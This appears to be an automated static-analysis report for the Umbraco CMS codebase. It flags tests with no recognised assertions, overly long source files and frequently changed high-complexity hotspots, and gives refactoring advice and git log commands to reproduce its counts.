No assertions: Scope_Does_Not_Send_Notification_When_Not_Completed tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreScopeNotificationsTest.cs:62— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: Scope_Does_Not_Send_Notification_When_Suppressing tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreScopeNotificationsTest.cs:71— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: Child_Scope_Cannot_Send_Suppressed_Notification tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreScopeNotificationsTest.cs:81— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: Child_Scope_Does_Not_Send_Notification_When_Parent_Suppressing tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreScopeNotificationsTest.cs:168— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: Can_Serialize_Content_Type_Without_Error tests/Umbraco.Tests.UnitTests/Umbraco.Core/Models/ContentTypeTests.cs:175— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
FileTooLong: Install/DatabaseDataCreator.cs src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs— FileTooLong — 2257 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 1757 over it, 4.51× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Strings/Utf8ToAsciiConverter.cs src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs— FileTooLong — 2154 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 1654 over it, 4.31× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Persistence/DatabaseCacheRepository.cs src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs— FileTooLong — 1399 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 899 over it, 2.80× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Packaging/PackageDataInstallation.cs src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs— FileTooLong — 1293 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 793 over it, 2.59× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Services/UserService.cs src/Umbraco.Core/Services/UserService.cs— FileTooLong — 1228 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 728 over it, 2.46× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Services/PublishableContentServiceBase.cs src/Umbraco.Core/Services/PublishableContentServiceBase.cs— FileTooLong — 1061 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 561 over it, 2.12× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Implement/PublishableContentRepositoryBase.cs src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs— FileTooLong — 998 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 498 over it, 2.00× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Services/ContentService.cs src/Umbraco.Core/Services/ContentService.cs— FileTooLong — 997 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 497 over it, 1.99× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Implement/ContentTypeRepositoryBase.cs src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs— FileTooLong — 965 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 465 over it, 1.93× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: sorter/sorter.controller.ts src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts— FileTooLong — 841 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 341 over it, 1.68× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Implement/EntityRepository.cs src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs— FileTooLong — 807 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 307 over it, 1.61× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Implement/UserRepository.cs src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs— FileTooLong — 734 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 234 over it, 1.47× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Services/ContentTypeServiceBase{TRepository,TItem}.cs src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs— FileTooLong — 692 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 192 over it, 1.38× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: structure/content-type-structure-manager.class.ts src/Umbraco.Web.UI.Client/src/packages/content/content-type/structure/content-type-structure-manager.class.ts— FileTooLong — 674 significant lines (blank, comment-only and punctuation-only lines excluded), about 92% of them inside a single declaration: UmbContentTypeStructureManager (51-1195). The bar is 500 significant lines; this is 174 over it, 1.35× the bar. Moving the declarations that sit BESIDE it into sibling files will not shorten this file. Extract from INSIDE that declaration instead: lift each cohesive group of its body — the parts that share the same inputs and are named together — into its own unit in a sibling file, and have the original call them.
FileTooLong: workspace/content-detail-workspace-base.ts src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/content-detail-workspace-base.ts— FileTooLong — 666 significant lines (blank, comment-only and punctuation-only lines excluded), about 87% of them inside a single declaration: UmbContentDetailWorkspaceContextBase (112-1202). The bar is 500 significant lines; this is 166 over it, 1.33× the bar. Moving the declarations that sit BESIDE it into sibling files will not shorten this file. Extract from INSIDE that declaration instead: lift each cohesive group of its body — the parts that share the same inputs and are named together — into its own unit in a sibling file, and have the original call them.
FileTooLong: Services/MediaService.cs src/Umbraco.Core/Services/MediaService.cs— FileTooLong — 642 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 142 over it, 1.28× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Implement/MemberRepository.cs src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs— FileTooLong — 615 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 115 over it, 1.23× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Security/MemberUserStore.cs src/Umbraco.Infrastructure/Security/MemberUserStore.cs— FileTooLong — 604 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 104 over it, 1.21× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Implement/ContentRepositoryBase.cs src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs— FileTooLong — 603 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 103 over it, 1.21× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Services/MemberService.cs src/Umbraco.Core/Services/MemberService.cs— FileTooLong — 594 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 94 over it, 1.19× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: Extensions/HtmlHelperRenderExtensions.cs src/Umbraco.Web.Website/Extensions/HtmlHelperRenderExtensions.cs— FileTooLong — 576 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 76 over it, 1.15× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: media-picker/media-picker-modal.element.ts src/Umbraco.Web.UI.Client/src/packages/media/media/modals/media-picker/media-picker-modal.element.ts— FileTooLong — 566 significant lines (blank, comment-only and punctuation-only lines excluded), about 90% of them inside a single declaration: UmbMediaPickerModalElement (57-840). The bar is 500 significant lines; this is 66 over it, 1.13× the bar. Moving the declarations that sit BESIDE it into sibling files will not shorten this file. Extract from INSIDE that declaration instead: lift each cohesive group of its body — the parts that share the same inputs and are named together — into its own unit in a sibling file, and have the original call them.
FileTooLong: design/content-type-design-editor.element.ts src/Umbraco.Web.UI.Client/src/packages/content/content-type/workspace/views/design/content-type-design-editor.element.ts— FileTooLong — 560 significant lines (blank, comment-only and punctuation-only lines excluded), about 93% of them inside a single declaration: UmbContentTypeDesignEditorElement (37-824). The bar is 500 significant lines; this is 60 over it, 1.12× the bar. Moving the declarations that sit BESIDE it into sibling files will not shorten this file. Extract from INSIDE that declaration instead: lift each cohesive group of its body — the parts that share the same inputs and are named together — into its own unit in a sibling file, and have the original call them.
FileTooLong: Services/DocumentUrlService.cs src/Umbraco.Core/Services/DocumentUrlService.cs— FileTooLong — 557 significant lines (blank, comment-only and punctuation-only lines excluded). The bar is 500 significant lines; this is 57 over it, 1.11× the bar. To reduce it, split the file along the responsibilities already in it: move each cohesive group of declarations into its own sibling file in the same module or package, so no one file has to be read whole to change one of them.
FileTooLong: workspace-split-view/workspace-split-view-variant-selector.element.ts src/Umbraco.Web.UI.Client/src/packages/core/workspace/components/workspace-split-view/workspace-split-view-variant-selector.element.ts— FileTooLong — 552 significant lines (blank, comment-only and punctuation-only lines excluded), about 96% of them inside a single declaration: UmbWorkspaceSplitViewVariantSelectorElement (21-811). The bar is 500 significant lines; this is 52 over it, 1.10× the bar. Moving the declarations that sit BESIDE it into sibling files will not shorten this file. Extract from INSIDE that declaration instead: lift each cohesive group of its body — the parts that share the same inputs and are named together — into its own unit in a sibling file, and have the original call them.
Hotspot: src/Umbraco.Core/Services/PublishableContentServiceBase.cs src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1401— src/Umbraco.Core/Services/PublishableContentServiceBase.cs changed 4 times in last 90 days, max cyclomatic complexity 70 in PublishableContentServiceBase.CommitContentChangesInternal at line 1401. 2 of those changes were fix/bug commits, and the other 2 changed it for other reasons — this file is under both repair and feature pressure. Before the next change lands here, make sure the area it touches is under test, then split that area out of the file so the following change is smaller than this one — a file this often edited pays the complexity back every time. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Core/Services/PublishableContentServiceBase.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item/tree-item-children.manager.ts src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item/tree-item-children.manager.ts:219— src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item/tree-item-children.manager.ts changed 6 times in last 90 days, max cyclomatic complexity 28 in #loadChildren at line 219. 3 of those changes were fix/bug commits, and the other 3 changed it for other reasons — this file is under both repair and feature pressure. Before the next change lands here, make sure the area it touches is under test, then split that area out of the file so the following change is smaller than this one — a file this often edited pays the complexity back every time. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item/tree-item-children.manager.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Core/Services/ContentService.cs src/Umbraco.Core/Services/ContentService.cs:932— src/Umbraco.Core/Services/ContentService.cs changed 8 times in last 90 days, max cyclomatic complexity 16 in ContentService.PublishBranch at line 932. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Core/Services/ContentService.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.UI.Client/src/packages/core/tree/default/default-tree.element.ts src/Umbraco.Web.UI.Client/src/packages/core/tree/default/default-tree.element.ts:150— src/Umbraco.Web.UI.Client/src/packages/core/tree/default/default-tree.element.ts changed 5 times in last 90 days, max cyclomatic complexity 23 in updated at line 150. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/packages/core/tree/default/default-tree.element.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.Common/Mvc/HtmlStringUtilities.cs src/Umbraco.Web.Common/Mvc/HtmlStringUtilities.cs:142— src/Umbraco.Web.Common/Mvc/HtmlStringUtilities.cs changed 3 times in last 90 days, max cyclomatic complexity 37 in HtmlStringUtilities.Truncate at line 142. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.Common/Mvc/HtmlStringUtilities.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:343— src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs changed 3 times in last 90 days, max cyclomatic complexity 34 in ContentTypeServiceBase.ComposeContentTypeChanges at line 343. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyValueEditorBase.cs src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyValueEditorBase.cs:737— src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyValueEditorBase.cs changed 5 times in last 90 days, max cyclomatic complexity 20 in BlockValuePropertyValueEditorBase.CollectChangedCultures at line 737. 1 of those changes was a fix/bug commit, and the other 4 changed it for other reasons — this file is under both repair and feature pressure. Before the next change lands here, make sure the area it touches is under test, then split that area out of the file so the following change is smaller than this one — a file this often edited pays the complexity back every time. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyValueEditorBase.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:811— src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs changed 2 times in last 90 days, max cyclomatic complexity 49 in BackOfficeUserStore.UpdateMemberProperties at line 811. 1 of those changes was a fix/bug commit, and the other 1 changed it for other reasons — this file is under both repair and feature pressure. Before the next change lands here, make sure the area it touches is under test, then split that area out of the file so the following change is smaller than this one — a file this often edited pays the complexity back every time. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:961— src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts changed 2 times in last 90 days, max cyclomatic complexity 47 in (anonymous) at line 961. 2 of those changes were fix/bug commits, so the churn is repair rather than feature work. Before the next change lands here, make sure the area it touches is under test, then split that area out of the file so the following change is smaller than this one — a file this often edited pays the complexity back every time. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:709— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs changed 5 times in last 90 days, max cyclomatic complexity 16 in ContentRepositoryBase.CheckDataIntegrity at line 709. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.UI.Client/src/packages/documents/documents/collection/item/document-collection-item-card.element.ts src/Umbraco.Web.UI.Client/src/packages/documents/documents/collection/item/document-collection-item-card.element.ts:119— src/Umbraco.Web.UI.Client/src/packages/documents/documents/collection/item/document-collection-item-card.element.ts changed 4 times in last 90 days, max cyclomatic complexity 15 in #getPropertyValueByAlias at line 119. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/packages/documents/documents/collection/item/document-collection-item-card.element.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Core/Services/PropertyValidationService.cs src/Umbraco.Core/Services/PropertyValidationService.cs:228— src/Umbraco.Core/Services/PropertyValidationService.cs changed 2 times in last 90 days, max cyclomatic complexity 28 in PropertyValidationService.IsPropertyValid at line 228. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Core/Services/PropertyValidationService.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-api.function.ts src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-api.function.ts:17— src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-api.function.ts changed 2 times in last 90 days, max cyclomatic complexity 25 in loadManifestApi at line 17. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-api.function.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-element.function.ts src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-element.function.ts:16— src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-element.function.ts changed 2 times in last 90 days, max cyclomatic complexity 25 in loadManifestElement at line 16. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-element.function.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:916— src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs changed 2 times in last 90 days, max cyclomatic complexity 24 in PackageDataInstallation.ImportDocumentTypes at line 916. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: src/Umbraco.Web.Common/Security/MemberSignInManager.cs src/Umbraco.Web.Common/Security/MemberSignInManager.cs:230— src/Umbraco.Web.Common/Security/MemberSignInManager.cs changed 3 times in last 90 days, max cyclomatic complexity 15 in MemberSignInManager.AutoLinkAndSignInExternalAccount at line 230. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- src/Umbraco.Web.Common/Security/MemberSignInManager.cs`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
Hotspot: tests/Umbraco.Tests.AcceptanceTest/lib/builders/memberTypes/memberTypeBuilder.ts tests/Umbraco.Tests.AcceptanceTest/lib/builders/memberTypes/memberTypeBuilder.ts:102— tests/Umbraco.Tests.AcceptanceTest/lib/builders/memberTypes/memberTypeBuilder.ts changed 3 times in last 90 days, max cyclomatic complexity 15 in build at line 102. Frequent change and high complexity in one file compound: schedule the next change to it to include carving out the part being edited, with the area under test before it moves. Counted over 2026-06-11..2026-09-09, the 90 days ending at the analysed commit. Reproduce with `git log --since='2026-06-11 11:06:23 +02:00' --until='2026-09-09 11:06:23 +02:00' --full-history --no-merges -- tests/Umbraco.Tests.AcceptanceTest/lib/builders/memberTypes/memberTypeBuilder.ts`: merges are excluded because a merge re-states changes already counted at their own commits, and history is NOT path-simplified because a change that reached the file through a merged branch is still a change to it. That command counts raw commits and can read HIGHER than this row, which counts a cherry-picked re-land, and a revert together with the commit it undoes, once each — a difference of several commits on a file whose history was re-landed or reverted inside the window.
